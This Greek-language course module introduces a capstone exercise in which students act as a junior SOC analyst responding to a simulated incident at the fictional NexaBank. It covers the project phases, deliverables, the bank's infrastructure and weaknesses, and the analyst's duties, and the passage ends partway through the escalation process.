Ενότητα 6
Τελικό Έργο: Προσομοίωση Περιστατικού Κυβερνοασφάλειας

Εισαγωγή - Καλώς ήρθατε στο Capstone Project

Καλώς ήρθατε στο **Capstone Project**, την τελική πρόκληση αυτού του μαθήματος.

Δεν πρόκειται απλώς για ένα ακόμη εργαστήριο. Πρόκειται για μια **προσομοίωση πλήρους κλίμακας ενός συμβάντος κυβερνοασφάλειας**, σχεδιασμένη για να δοκιμάσει πόσο καλά μπορείτε να εφαρμόσετε όλα όσα έχετε μάθει κατά τη διάρκεια του προγράμματος.

Θα αναλάβετε τον ρόλο ενός **νεαρού αναλυτή του Κέντρου Λειτουργιών Ασφάλειας (SOC)** στην **NexaBank**, μια φανταστική αλλά ρεαλιστική εταιρεία χρηματοοικονομικών υπηρεσιών. Οι αρμοδιότητές σας θα είναι:

- Εντοπίζετε και διερευνείτε ύποπτες δραστηριότητες
- Να περιορίσετε και να ανταποκριθείτε σε μια κυβερνοεπίθεση που εξελίσσεται
- Την καταγραφή των ευρημάτων σας σε επαγγελματική μορφή
- Να επικοινωνείτε αποτελεσματικά τόσο με τις τεχνικές ομάδες όσο και με τους επιχειρηματικούς ηγέτες
- Λαμβάνετε υπόψη τη συμμόρφωση, την ηθική και τη μακροπρόθεσμη στρατηγική ασφάλειας

Κατά τη διάρκεια του προγράμματος, θα εξασκήσετε όχι μόνο **τεχνικές δεξιότητες** — όπως ανάλυση αρχείων καταγραφής, ειδοποιήσεις SIEM και ανταπόκριση σε συμβάντα — αλλά και **επαγγελματικές δεξιότητες**: διαχείριση κινδύνου,
τεκμηρίωση, λήψη αποφάσεων και ηθική κρίση. Αυτές είναι ακριβώς οι προκλήσεις που αντιμετωπίζουν οι ομάδες κυβερνοασφάλειας στον πραγματικό κόσμο.

Μέχρι το τέλος αυτού του τελικού έργου, θα έχετε:

- Ένα πλήρες **χαρτοφυλάκιο διερεύνησης συμβάντων** (εκθέσεις, χρονοδιαγράμματα, περιλήψεις και στρατηγικά σχέδια)
- Πρακτική εμπειρία με τον **πλήρη κύκλο ζωής της αντίδρασης σε περιστατικά**
- Μια σαφή απόδειξη της ικανότητάς σας να **αναλύετε,** να **επικοινωνείτε και** να **ηγείστε** κατά τη διάρκεια μιας κρίσης στον τομέα της κυβερνοασφάλειας

Αυτό το έργο έχει σκοπό να σας δώσει την αίσθηση της πραγματικότητας — και έχει σχεδιαστεί για να σας ωθήσει. Αντιμετωπίστε το σοβαρά, επεξεργαστείτε προσεκτικά κάθε φάση και θα ολοκληρώσετε με μια ισχυρή βάση για την επαγγελματική πρακτική στον τομέα της κυβερνοασφάλειας.

Δομή του έργου

Το Capstone Project είναι οργανωμένο σε **έξι φάσεις**, καθεμία από τις οποίες αντικατοπτρίζει ένα στάδιο του κύκλου ζωής ενός πραγματικού συμβάντος στον τομέα της κυβερνοασφάλειας. Καθώς προχωράτε, θα δείτε πώς η τεχνική ανάλυση, η λήψη αποφάσεων, η τεκμηρίωση και η επικοινωνία συνδυάζονται σε μια ολοκληρωμένη αντίδραση.

Φάση 1: Προετοιμασία

Εξοικειωθείτε με **την NexaBank**, την εικονική εταιρεία που θα προστατεύετε. Κατανοήστε τον ρόλο σας ως **Junior SOC Analyst**, εξετάστε τους γνωστούς κινδύνους του οργανισμού και προσδιορίστε τους βασικούς ενδιαφερόμενους που θα επηρεαστούν από τις αποφάσεις σας.

Φάση 2: Ξεκινά το περιστατικό

Ζήστε την **αδρεναλίνη της διαλογής** καθώς εξετάζετε τις εισερχόμενες ειδοποιήσεις, αναλύετε υποψιασμένες δραστηριότητες και αποφασίζετε τι απαιτεί αναφορά σε ανώτερο επίπεδο. Θα εξασκηθείτε στην ιεράρχηση προτεραιοτήτων και θα δημιουργήσετε το πρώτο σας δελτίο αναφοράς SOC.

Φάση 3: Η έρευνά σας

Συσχετίστε πολλαπλές πηγές αποδεικτικών στοιχείων — συμπεριλαμβανομένων αρχείων καταγραφής, ειδοποιήσεων SIEM και δεδομένων δικτύου — για να εντοπίσετε **Δείκτες Παραβίασης (IOC)**. Δημιουργήστε ένα χρονοδιάγραμμα της δραστηριότητας του εισβολέα και αρχίστε να συνθέτετε την εικόνα της παραβίασης.

Φάση 4: Αντίδραση και τεκμηρίωση

Λάβετε αποφασιστικά μέτρα για τον περιορισμό, την εξάλειψη και την αποκατάσταση. Παράλληλα, διατηρήστε τα ψηφιακά αποδεικτικά στοιχεία, διασφαλίστε την αλυσίδα επιτήρησης και συντάξτε μια **επίσημη αναφορά συμβάντος** που να καταγράφει τόσο τις τεχνικές όσο και τις διαδικαστικές πτυχές της αντίδρασής σας.

Φάση 5: Ανάλυση μετά το περιστατικό

Κάντε ένα βήμα πίσω για να εξετάσετε τη συνολική εικόνα. Διεξάγετε **ανάλυση των βασικών αιτίων**, αξιολογήστε τον επιχειρηματικό αντίκτυπο, ενημερώστε το **μητρώο κινδύνων** και διοργανώστε ένα **εργαστήριο για τα διδάγματα που αποκομίσατε**.
Μεταφράστε τα ευρήματα σε **ενημερώσεις πολιτικών και εγχειριδίων** και προτείνετε στρατηγικές βελτιώσεις για την ενίσχυση των μελλοντικών αμυντικών μηχανισμών.

Φάση 6: Ηθική, στρατηγική και παρουσίαση

Ολοκληρώστε ανυψώνοντας το έργο σας στο **επίπεδο της διοίκησης**. Προετοιμάστε μια σαφή περίληψη μιας σελίδας, υποβάλετε ένα **στρατηγικό σχέδιο βελτίωσης της ασφάλειας** και αναλογιστείτε τις πτυχές της ηθικής και της συμμόρφωσης στο έργο της κυβερνοασφάλειας. Τα τελικά σας παραδοτέα αποτελούν ένα **επαγγελματικό χαρτοφυλάκιο** που αντικατοπτρίζει τις πρακτικές του κλάδου.

Μαζί, αυτές οι έξι φάσεις προσομοιώνουν τον **πλήρη κύκλο ζωής της αντίδρασης σε περιστατικά** — από την πρώτη ειδοποίηση έως την ενημέρωση της διοίκησης. Με την ολοκλήρωσή τους, θα επιδείξετε όχι μόνο τεχνικές δεξιότητες, αλλά και την κρίση, την επικοινωνία και τη στρατηγική σκέψη που χαρακτηρίζουν έναν πραγματικό
επαγγελματία στον τομέα της κυβερνοασφάλειας.

Μαθησιακοί στόχοι

Με την ολοκλήρωση του Capstone Project, θα είστε σε θέση να:

- **Να αναλάβετε τον ρόλο ενός αναλυτή SOC** και να προσομοιώσετε πραγματικές ευθύνες κατά τη διάρκεια ενός ζωντανού συμβάντος.
- **Εντοπίζετε, επαληθεύετε και διερευνάτε κακόβουλες δραστηριότητες** συσχετίζοντας δεδομένα από ειδοποιήσεις SIEM, αρχεία καταγραφής συστήματος και κίνηση δικτύου.
- **Εφαρμόζετε τον πλήρη κύκλο ζωής της αντίδρασης σε περιστατικά** — *Περιορισμός → Εξάλειψη → Ανάκτηση* — με δομημένο και επαγγελματικό τρόπο.
- **Να τεκμηριώνετε και να διατηρείτε ψηφιακά αποδεικτικά στοιχεία**, διατηρώντας παράλληλα την κατάλληλη αλυσίδα επιτήρησης και τη νομική υπερασπισιμότητα.
- **Διεξάγετε μια ανασκόπηση μετά το συμβάν** για να πραγματοποιήσετε ανάλυση των βασικών αιτίων, να αξιολογήσετε τον επιχειρηματικό αντίκτυπο και να προτείνετε βελτιώσεις με βάση τον κίνδυνο.
- **Επικοινωνήστε αποτελεσματικά με όλους τους εμπλεκόμενους** — συμπεριλαμβανομένων στελεχών, τμημάτων πληροφορικής, νομικών και πελατών — με το σωστό επίπεδο τεχνικών και επιχειρηματικών λεπτομερειών.
- **Αναλογιστείτε τις ευθύνες ηθικής και συμμόρφωσης** στον τομέα της κυβερνοασφάλειας, αναγνωρίζοντας ότι η αντιμετώπιση συμβάντων εκτείνεται πέρα από την τεχνολογία και αφορά την εμπιστοσύνη, το δίκαιο και τη λογοδοσία.

Πολυπλοκότητα και χρονική δέσμευση

Το Capstone είναι ένα **ολοκληρωμένο έργο επαγγελματικού επιπέδου**. Η ολοκλήρωσή του αναμένεται να διαρκέσει **περίπου 40 ώρες**, αντανακλώντας το βάθος και τον ρεαλισμό ενός συμβάντος κυβερνοασφάλειας πλήρους κλίμακας.

Κάθε μία από τις **έξι φάσεις** χωρίζεται σε λεπτομερείς ενότητες, συνδυάζοντας **τεχνική έρευνα, τεκμηρίωση, επικοινωνία και στρατηγική**. Στο τέλος, θα έχετε ένα πλήρες χαρτοφυλάκιο επαγγελματικών παραδοτέων που αντανακλούν τις πρακτικές του κλάδου.

Εκτιμώμενη ανάλυση

Φάση	Ενότητες	Εκτιμώμενος χρόνος	Βασικά παραδοτέα
1. Προετοιμασία	5	4–5 ώρες	Μνημόνιο κινδύνου
2. Έναρξη του συμβάντος	8	7–8ώρες	Αναφορά αναλυτή SOC + αναφορά σε ανώτερο επίπεδο
3. Έρευνα	6	8–9 ώρες	Χρονοδιάγραμμα συμβάντος
4. Αντιμετώπιση Τεκμηρίωση	4	9–10 ώρες	Επίσημη αναφορά αντίδρασης στο συμβάν
5. Ανάλυση μετά το συμβάν	5	6–7 ώρες	Έγγραφο ανασκόπησης μετά το συμβάν
6. Παρουσίαση σχετικά με την ηθική	5	5–6 ώρες	Διαφάνειες για στελέχη + ηθική Δοκίμιο αναστοχασμού

Συνολική δέσμευση

- **34 ενότητες** σε έξι φάσεις
- **~40 ώρες εργασίας**
- Ένα χαρτοφυλάκιο **επαγγελματικών παραδοτέων** (εισιτήρια, εκθέσεις, χρονοδιαγράμματα, περιλήψεις και παρουσιάσεις) κατάλληλο για παρουσίαση σε εργοδότες

Τελικά παραδοτέα

Μέχρι το τέλος του έργου, θα έχετε δημιουργήσει ένα πλήρες χαρτοφυλάκιο **επαγγελματικών παραδοτέων** στον τομέα **της κυβερνοασφάλειας**, οργανωμένο ανά φάση.

Φάση	Παραδοτέο	Μορφή / Εκτιμώμενη διάρκεια	Προοριζόμενο κοινό
1. Προετοιμασία	Μνημόνιο κινδύνου	1–2 σελίδες (γραπτό)	Ομάδα ασφάλειας Ηγεσία
2. Έναρξη συμβάντος	Αναλυτής SOC	1 σελίδα (δομημένη έντυπο εισιτηρίου)	Ανώτερος αναλυτής SOC
	Σημείωση κλιμάκωσης	0,5–1 σελίδα (συνοπτικό υπόμνημα/email)	Υπεύθυνος Αντιμετώπισης Περιστατικών
3. Η Χρονοδιάγραμμα	Χρονοδιάγραμμα συμβάντων	1–2 σελίδες (πίνακας/χρονολόγιο)	Ερευνητές της ομάδας SOC C
	Λίστα IOC	1 σελίδα (πίνακας IOC)	Ερευνητές απειλών της ομάδας C του SOC
4. Τεκμηρίωση ανταπόκρισης	Εγχειρίδιο περιορισμού	1–2 σελίδες (αρχείο καταγραφής βημάτων)	Αντιμετώπιση συμβάντων Ομάδα
	Εξάλειψη C Σημειώσεις αποκατάστασης	1–2 σελίδες (τεχνικές σημειώσεις)	Ομάδα IR του τμήματος IT Ops C
	Αρχείο αλυσίδας επιτήρησης	1–2 σελίδες (δομημένος πίνακας καταγραφής)	Εγκληματολογική ομάδα C Νομική
	Επίσημη έκθεση αντίδρασης σε περιστατικό	5–7 σελίδες (δομημένη έκθεση)	Στελέχη, Νομική, Ελεγκτές
5. Μετά το συμβάν Ανάλυση	Ανάλυση βασικών αιτίων Έκθεση	1–2 σελίδες (τεχνική/αναλυτική)	SOC + Λειτουργίες IT

Φάση	Παραδοτέο	Μορφή / Εκτιμώμενη διάρκεια	Προοριζόμενο κοινό
6. Ηθική, Στρατηγική και Παρουσίαση	Αναθεώρηση επιχειρηματικών επιπτώσεων	1–2 σελίδες (με έμφαση στις επιχειρήσεις)	Στελέχη, Νομικό Τμήμα, Διαχείριση Κινδύνων
	Ενημερωμένο μητρώο κινδύνων	1–2 σελίδες (υπολογιστικό φύλλο/πίνακας)	Επιτροπή κινδύνων
	Περίληψη διδαγμάτων	1–2 σελίδες (μορφή λίστας)	SOC + Στελέχη
	Έκθεση συστάσεων	2–3 σελίδες (λίστα προτεραιοτήτων)	Στελέχη + Λειτουργίες Πληροφορικής
	Συμμόρφωση Πίνακας αντιστοίχισης	1 σελίδα (δομημένη πίνακας)	Νομικά/Συμμόρφωση
	Έγγραφο συνοπτικής παρουσίασης	1 σελίδα (μη τεχνική περίληψη)	Στελέχη/Διοικητικό Συμβούλιο
	Στρατηγικός χάρτης πορείας για την ασφάλεια	2–3 σελίδες (βραχυπρόθεσμες/μεσοπρόθεσμες/μακροπρόθεσμες πρωτοβουλίες)	Στελέχη + Ηγεσία ασφάλειας
	Διαφάνειες ενημέρωσης στελεχών	5–7 διαφάνειες (οπτικές, έτοιμες για παρουσίαση)	Στελέχη, Διοικητικό Συμβούλιο
	Δοκίμιο αναστοχασμού σχετικά με την ηθική	1–2 σελίδες (αναστοχαστικό δοκίμιο)	Εκπαιδευτής / Αυτοαξιολόγηση
	Τελική εργασία αναστοχασμού	2–3 σελίδες (αυτοαξιολόγηση)	Εκπαιδευτής / Αυτοαξιολόγηση
	Υποβολή τελικού φακέλου	Συγκεντρωτικό πακέτο (όλα τα παραπάνω παραδοτέα)	Εκπαιδευτής / Πιθανοί εργοδότες
Σύνολα:			

- **20 παραδοτέα σε 6 φάσεις**
- **Συνδυασμός τεχνικών, επιχειρηματικών και αναστοχαστικών αποτελεσμάτων**
- **Το κοινό κυμαίνεται από συναδέλφους του SOC έως ανώτερα στελέχη και υπεύθυνους συμμόρφωσης/νομικών θεμάτων**

Πώς να προσεγγίσετε το έργο

Το Capstone έχει σχεδιαστεί ώστε **να αντικατοπτρίζει την επαγγελματική πρακτική**. Για να πετύχετε, θα χρειαστείτε κάτι περισσότερο από τεχνική ακρίβεια — θα χρειαστείτε κρίση, σαφή επικοινωνία και μια δομημένη ροή εργασίας.

Βασικές νοοτροπίες για την επιτυχία

- **Σκεφτείτε σαν επαγγελματίας αναλυτής** → Μην ακολουθείτε απλώς τις οδηγίες. Ερμηνεύστε τα στοιχεία, λάβετε αποφάσεις και αιτιολογήστε τις ενέργειές σας.
- **Καταγράψτε τα πάντα** → Τα αρχεία καταγραφής, τα IOC, οι ενέργειες και οι αποφάσεις έχουν την ίδια σημασία με τις ίδιες τις τεχνικές διορθώσεις.
- **Ισορροπήστε τις τεχνικές και επικοινωνιακές δεξιότητες** → Οι αναφορές και οι παρουσιάσεις σας πρέπει να έχουν νόημα τόσο για τους μηχανικούς όσο και για τα στελέχη.
- **Αντιμετωπίστε το σαν πραγματικό** → Πρόκειται για μια ασφαλή προσομοίωση, αλλά προσεγγίστε την σαν να εργάζεστε σε ένα πραγματικό SOC υπό πίεση.

Λίστα ελέγχου ετοιμότητας πριν από το Capstone

Πριν ξεκινήσετε **τη Φάση 1**, βεβαιωθείτε ότι είστε προετοιμασμένοι:

- Κατανοώ τη **δομή και τους στόχους** του Capstone.
- Μπορώ να αφιερώσω **περίπου 40 ώρες** σε έξι φάσεις.
- Είμαι έτοιμος να αναλάβω τον ρόλο ενός **Junior SOC Analyst στη NexaBank**.
- Είμαι έτοιμος να παράγω **επαγγελματικά παραδοτέα** (εκθέσεις, σημειώματα, χρονοδιαγράμματα, παρουσιάσεις).

Φάση 1 – Προετοιμασία

1.1 Καλώς ήρθατε στο Capstone – Εισαγωγή στην πρόκληση

Επισκόπηση

Το Capstone σηματοδοτεί τη μετάβαση από **τα εργαστήρια με καθοδήγηση** σε μια **ολοκληρωμένη προσομοίωση κυβερνοασφάλειας από την αρχή έως το τέλος**.
Σε αντίθεση με προηγούμενες ασκήσεις, δεν υπάρχει «μία και μοναδική σωστή απάντηση» για κάθε βήμα. Αντίθετα, θα πρέπει να σκεφτείτε, να αναλύσετε και να λάβετε αποφάσεις σαν να ήσασταν πραγματικά μέλος μιας ομάδας **του Κέντρου Λειτουργιών Ασφάλειας (SOC)**.

Αυτή είναι η ευκαιρία σας να αποδείξετε ότι μπορείτε όχι μόνο **να εφαρμόζετε τεχνικές δεξιότητες**, αλλά και **να επικοινωνείτε, να τεκμηριώνετε και να χαράζετε στρατηγικές** όπως ένας επαγγελματίας στον τομέα της κυβερνοασφάλειας.

Η αποστολή σας

Έχετε τοποθετηθεί στο **SOC (Κέντρο Λειτουργιών Ασφάλειας) της NexaBank** ως **Νεαρός Αναλυτής Ασφάλειας**.
Κατά τη διάρκεια αυτού του έργου, θα:

1. **Εντοπίσετε** ύποπτες δραστηριότητες χρησιμοποιώντας ειδοποιήσεις SIEM, αρχεία καταγραφής και καταγραφές δικτύου.
2. **Διερευνήσετε** και επιβεβαιώσετε τους δείκτες παραβίασης (IOC).
3. **Αντιδράτε** περιορίζοντας το περιστατικό, εξαλείφοντας τις απειλές και αποκαθιστώντας τα συστήματα.
4. **Καταγράφετε** κάθε ενέργεια, διατηρώντας τα αποδεικτικά στοιχεία και τηρώντας τα επαγγελματικά πρότυπα αναφοράς.
5. **Αναλύσετε** την βασική αιτία, ενημερώσετε το μητρώο κινδύνων και προτείνετε βελτιώσεις στην ασφάλεια.
6. **Παρουσιάστε** τα ευρήματά σας στην ηγεσία, λαμβάνοντας παράλληλα υπόψη τις ηθικές προκλήσεις της αποκάλυψης και της λογοδοσίας.

Τα τελικά σας αποτελέσματα θα περιλαμβάνουν **παραδοτέα επαγγελματικού επιπέδου**: τεχνικές εκθέσεις, έγγραφα κινδύνου, ενημέρωση της διοίκησης και ανασκόπηση δεοντολογικών ζητημάτων.

Γιατί αυτό έχει σημασία

Η κυβερνοασφάλεια στον πραγματικό κόσμο δεν αφορά μόνο την εκτέλεση εντολών ή τη διαμόρφωση εργαλείων. Αφορά **τη λήψη αποφάσεων υπό πίεση**, διατηρώντας παράλληλα την ισορροπία μεταξύ:

- **Τεχνική ακρίβεια** → Σωστή αναγνώριση και μετριασμός των απειλών.
- **Επιχειρηματικές επιπτώσεις** → Κατανόηση του τρόπου με τον οποίο οι αποφάσεις επηρεάζουν τις λειτουργίες και την εμπιστοσύνη των πελατών.
- **Νομικές και ηθικές παραμέτρους** → Υπεύθυνη διαχείριση δεδομένων, συμμόρφωση με τους κανονισμούς και διαφανής επικοινωνία.

Αυτό το Capstone αντικατοπτρίζει την **υψηλού κινδύνου πραγματικότητα της σύγχρονης εργασίας SOC**, όπου οι ενέργειές σας επηρεάζουν άμεσα το αν ένας οργανισμός θα αντέξει μια επίθεση ή θα υποστεί μόνιμη ζημιά.

Τι διαφέρει στο Capstone

Σε σύγκριση με προηγούμενα εργαστήρια:

- **Πολυφασική πολυπλοκότητα** → Αντί για ένα μόνο εργαλείο ή εργασία, θα παρακολουθήσετε ένα περιστατικό από **την αρχή έως το τέλος**.
- **Πολλαπλές πηγές δεδομένων** → Τα αρχεία καταγραφής, οι ειδοποιήσεις, η κίνηση δικτύου και τα δεδομένα τερματικών συσκευών πρέπει να συσχετιστούν μεταξύ τους.
- **Ανοιχτές αποφάσεις** → Θα πρέπει να ιεραρχήσετε τις ενέργειες, να επιλέξετε στρατηγικές επικοινωνίας και να αιτιολογήσετε τη λογική σας.
- **Επικοινωνία με τα ενδιαφερόμενα μέρη** → Θα προετοιμάσετε έγγραφα όχι μόνο για το τεχνικό προσωπικό, αλλά και για στελέχη, το τμήμα ανθρώπινου δυναμικού, το νομικό τμήμα και τους πελάτες.
- **Ηθικά διλήμματα** → Θα αναλογιστείτε θέματα όπως η αποκάλυψη πληροφοριών, η λογοδοσία και η επαγγελματική ευθύνη.

Εκτιμώμενη προσπάθεια

Πρόκειται για ένα **μεγάλο έργο** που έχει σχεδιαστεί να διαρκέσει περίπου **40 ώρες** και να καλύψει έξι φάσεις και 34 ενότητες.

Θα χρειαστεί να αφιερώσετε χρόνο τόσο στην **τεχνική έρευνα** όσο και **στην τεκμηρίωση/παρουσίαση**.

Νοοτροπία για επιτυχία

Για να πετύχετε στο Capstone, προσεγγίστε το με τη νοοτροπία ενός **πραγματικού αναλυτή κυβερνοασφάλειας**:

- Να είστε **περίεργοι** – ακολουθήστε ύποπτες ενδείξεις και ρωτήστε: «Τι άλλο θα μπορούσε να σημαίνει αυτό;»
- Να είστε **συστηματικοί** – τεκμηριώστε κάθε ενέργεια και δημιουργήστε ένα σαφές χρονοδιάγραμμα.
- Να είστε **αποφασιστικοί** – τα περιστατικά δεν περιμένουν την απόλυτη βεβαιότητα· πρέπει να ενεργείτε με βάση τις διαθέσιμες πληροφορίες.
- Να είστε **επικοινωνιακοί** – τα ευρήματά σας είναι χρήσιμα μόνο αν τα κατανοούν και οι άλλοι.

Θυμηθείτε: **η ταχύτητα, η ακρίβεια και η επικοινωνία** είναι τα βασικά στοιχεία μιας αποτελεσματικής αντίδρασης σε περιστατικά.

Σημείο ελέγχου: Είστε έτοιμοι;

Πριν προχωρήσετε, επιβεβαιώστε:

- Κατανοώ ότι το Capstone είναι μια **προσομοίωση από την αρχή έως το τέλος**.
- Είμαι έτοιμος να ενεργήσω ως **Junior SOC Analyst** στη NexaBank.
- Μπορώ να αφιερώσω **περίπου 40 ώρες** για να ολοκληρώσω το πλήρες έργο.
- Θα δημιουργήσω **παραδοτέα επαγγελματικού επιπέδου** (εκθέσεις, παρουσιάσεις, σημειώματα).

Μόλις είστε έτοιμοι — προχωρήστε στην **Ενότητα 1.2: Επισκόπηση της NexaBank**, όπου θα γνωρίσετε τον οργανισμό που θα υπερασπιστείτε.

1.2 Επισκόπηση της NexaBank – Κατανόηση του οργανισμού

Επισκόπηση

Προτού μπορέσετε να υπερασπιστείτε μια εταιρεία, πρέπει να κατανοήσετε **ποιοι είναι**, **τι κάνουν** και **πού είναι ευάλωτοι**. Αυτή η ενότητα σας παρουσιάζει **τη NexaBank**, τον φανταστικό οργανισμό που θα προστατεύετε καθ' όλη τη διάρκεια του Capstone.

Η NexaBank είναι μια **μεσαίου μεγέθους εταιρεία ψηφιακής τραπεζικής** με **περισσότερους από 300 υπαλλήλους** και πάνω από **40.000 πελάτες** σε όλη τη Βόρεια Αμερική. Το επιχειρηματικό της μοντέλο βασίζεται σε ασφαλείς και αξιόπιστες **διαδικτυακές και κινητές χρηματοοικονομικές εφαρμογές**, που υποστηρίζονται από μια υβριδική υποδομή συστημάτων στις εγκαταστάσεις της εταιρείας και υπηρεσιών cloud.

Βασικά στοιχεία

- **Κλάδος:** Ψηφιακές χρηματοοικονομικές υπηρεσίες / Τραπεζικές υπηρεσίες
- **Υπάλληλοι:** ~320
- **Πελάτες:** 40.000+ πελάτες λιανικής τραπεζικής
- **Έδρα:** Τορόντο, με απομακρυσμένους υπαλλήλους σε όλη την Αμερική και τον Καναδά
- **IT υποδομή:** Υβριδική υποδομή (Windows, Linux, Cloud CRM)
- **Επίπεδο ωριμότητας ασφάλειας:** Αυξάνεται, αλλά είναι άνιση — η ασφάλεια δεν έχει συμβαδίσει με την ταχεία επέκταση

Επιχειρηματικές δραστηριότητες

Τα έσοδα και η φήμη της NexaBank εξαρτώνται από:

- **Υπηρεσίες προς τους πελάτες** → Εφαρμογές διαδικτυακής και κινητής τραπεζικής που χρησιμοποιούνται καθημερινά από χιλιάδες πελάτες.
- **Εσωτερικά συστήματα** → Ηλεκτρονικό ταχυδρομείο υπαλλήλων, συστήματα ανθρώπινου δυναμικού, χρηματοοικονομικές βάσεις δεδομένων, πύλες εξυπηρέτησης πελατών.
- **Ενσωματώσεις τρίτων** → CRM βασισμένο στο cloud, επεξεργαστές πληρωμών, εξωτερικά API.
- **Υβριδικό μοντέλο cloud** →

- Εντός εγκαταστάσεων: Ελεγκτές τομέα Windows Active Directory, διακομιστές αρχείων, βάση δεδομένων ανθρώπινου δυναμικού.
- Cloud: Σύστημα CRM (SaaS), φιλοξενία email, αντίγραφα ασφαλείας.
- Διακομιστές API βασισμένοι σε Linux που είναι εκτεθειμένοι στο διαδίκτυο για υποστήριξη εφαρμογών για κινητά.

Στιγμιότυπο υποδομής

Περιουσιακά στοιχεία στις εγκαταστάσεις (Κέντρο δεδομένων – Κεντρικά γραφεία στο Τορόντο):

- Ελεγκτές τομέα Windows Server 2019 (Active Directory + έλεγχος ταυτότητας).
- Διακομιστής βάσης δεδομένων HR (Windows Server + SQL).
- Διακομιστής αρχείων που φιλοξενεί εσωτερικά έγγραφα.

Περιουσιακά στοιχεία στο cloud:

- CRM (διαχείριση πελατειακών σχέσεων) που φιλοξενείται σε πλατφόρμα SaaS.
- Σουίτα ηλεκτρονικού ταχυδρομείου και συνεργασίας.
- Πάροχος δημιουργίας αντιγράφων ασφαλείας στο cloud.

Δημόσια περιουσιακά στοιχεία:

- Διακομιστές API βασισμένοι σε Linux που υποστηρίζουν εφαρμογή mobile banking.
- Διακομιστές εφαρμογών ιστού (πύλη σύνδεσης πελατών).

Τερματικά:

- Συνδυασμός φορητών υπολογιστών με Windows (προσωπικό) και φορητών υπολογιστών με macOS (προγραμματιστές).
- Το 30% των υπαλλήλων εργάζεται **εξ αποστάσεως**, συνδέοντας μέσω VPN.

Κατάσταση ασφάλειας

Η NexaBank βρίσκεται σε **φάση μετάβασης** από μια προσέγγιση πληροφορικής τύπου startup σε μια στάση ρυθμιζόμενων χρηματοοικονομικών υπηρεσιών. Η τρέχουσα κατάσταση περιλαμβάνει:

Πλεονεκτήματα

- Έχουν εγκατασταθεί βασικά τείχη προστασίας και συστήματα ανίχνευσης εισβολών.
- Πρόσφατη εγκατάσταση συστήματος SIEM.

- Έχει συνταχθεί πολιτική αντιμετώπισης περιστατικών.

Αδυναμίες

- **Καθυστερήσεις στην εγκατάσταση ενημερώσεων** (οι διακομιστές συχνά υστερούν κατά 30–60 ημέρες).
- **Ασυνεπής προστασία τερματικών** σε απομακρυσμένες συσκευές.
- **Κενά στην πολιτική** (απαρχαιωμένοι κανόνες για κωδικούς πρόσβασης και κλείδωμα λογαριασμών).
- **Οι λογαριασμοί με δικαιώματα** δεν ελέγχονται τακτικά.
- **Κενά στην παρακολούθηση** (περιορισμένη καταγραφή σε διακομιστές API).

Επιχειρηματικοί κίνδυνοι

Επειδή η NexaBank δραστηριοποιείται στον **χρηματοοικονομικό τομέα**, τα διακυβεύματα είναι υψηλά:

- **Εμπιστοσύνη των πελατών:** Μια μεμονωμένη παραβίαση θα μπορούσε να προκαλέσει σημαντική ζημιά στη φήμη της εταιρείας.
- **Κανονιστική έκθεση:** Η συμμόρφωση με τους καναδικούς και αμερικανικούς νόμους περί χρηματοοικονομικών δεδομένων είναι υποχρεωτική.
- **Χρηματοοικονομικός κίνδυνος:** Ο χρόνος διακοπής λειτουργίας ή η απάτη μπορεί να σημαίνει απώλειες εκατομμυρίων.
- **Λειτουργικός κίνδυνος:** Το τηλεργαστικό προσωπικό και τα υβριδικά συστήματα δημιουργούν πολυπλοκότητα που μπορούν να εκμεταλλευτούν οι επιτιθέμενοι.

Άσκηση: Χαρτογράφηση της επιφάνειας επίθεσης της NexaBank

Χρησιμοποιώντας τις γνώσεις σας σχετικά με την υποδομή της NexaBank, καταγράψτε πιθανά **σημεία εισόδου για τους επιτιθέμενους**:

1. _____
2. _____
3. _____
4. _____

Υπόδειξη: Σκεφτείτε την απομακρυσμένη πρόσβαση μέσω VPN, τα API που είναι εκτεθειμένα στο διαδίκτυο, τους διακομιστές χωρίς ενημερώσεις ασφαλείας ή τις αδύναμες πολιτικές.

Σημείο ελέγχου: Ενότητα 1.2

Πριν προχωρήσετε στην Ενότητα 1.3, βεβαιωθείτε ότι μπορείτε:

- Περιγράψετε τις επιχειρηματικές δραστηριότητες και την υβριδική υποδομή της NexaBank.
- Προσδιορίσετε βασικά περιουσιακά στοιχεία που βρίσκονται στις εγκαταστάσεις, στο cloud και είναι προσβάσιμα στο κοινό.
- Αναγνωρίσετε τις κύριες αδυναμίες της τρέχουσας κατάστασης ασφάλειας.
- Αναφέρετε τουλάχιστον τρία πιθανά σημεία εισόδου για τους εισβολείς.

1.3 Ο ρόλος σας στο SOC – Νεότερος αναλυτής ασφάλειας

Επισκόπηση

Μόλις προσληφθήκατε στην NexaBank ως **Νεότερος Αναλυτής Ασφάλειας** στο **Κέντρο Λειτουργιών Ασφάλειας (SOC)**.
Το SOC είναι η **ομάδα πρώτης γραμμής άμυνας** που είναι υπεύθυνη για τον εντοπισμό, την ανάλυση και την αντιμετώπιση απειλών ασφαλείας κατά της τράπεζας.

Ως νεαρός αναλυτής, δεν «παρακολουθείτε απλώς ειδοποιήσεις» — είστε ενεργό μέρος της διαδικασίας λήψης αποφάσεων που μπορεί να κάνει τη διαφορά μεταξύ ενός **μικρού, περιορισμένου συμβάντος** και μιας **καταστροφικής παραβίασης**.

Οι ευθύνες σας

Η καθημερινή σας εργασία περιλαμβάνει:

- **Παρακολούθηση ειδοποιήσεων** → Παρακολούθηση πινάκων ελέγχου SIEM και ειδοποιήσεων ανίχνευσης τερματικών για ασυνήθιστη δραστηριότητα.
- **Διερεύνηση ύποπτων δραστηριοτήτων** → Εξετάζετε τα αρχεία καταγραφής του συστήματος, τα αρχεία καταγραφής του τείχους προστασίας και την κίνηση του δικτύου για να επικυρώσετε ή να απορρίψετε τις ειδοποιήσεις.
- **Ταξινόμηση συμβάντων** → Προσδιορισμός του εάν η δραστηριότητα είναι αβλαβής (ψευδώς θετική), ύποπτη (απαιτεί αναφορά σε ανώτερο επίπεδο) ή επιβεβαιωμένα κακόβουλη.
- **Τεκμηρίωση ευρημάτων** → Τήρηση λεπτομερών σημειώσεων με χρονοσήμανση για κάθε έρευνα.
- **Αναφορά περιστατικών** → Διαβίβαση επιβεβαιωμένων απειλών σε **ανώτερους αναλυτές** ή **υπεύθυνους αντιμετώπισης περιστατικών (IR)** με σαφή περίληψη.

Θεωρήστε τον εαυτό σας ως «πρώτο ανταποκριτή» στην ψηφιακή ασφάλεια.

Η διαδικασία αναφοράς

Στη NexaBank, η διαδικασία αναφοράς λειτουργεί ως εξής:

1. **Επίπεδο 1 – Νεότεροι αναλυτές SOC (εσείς):**
    - Πρώτη γραμμή άμυνας.

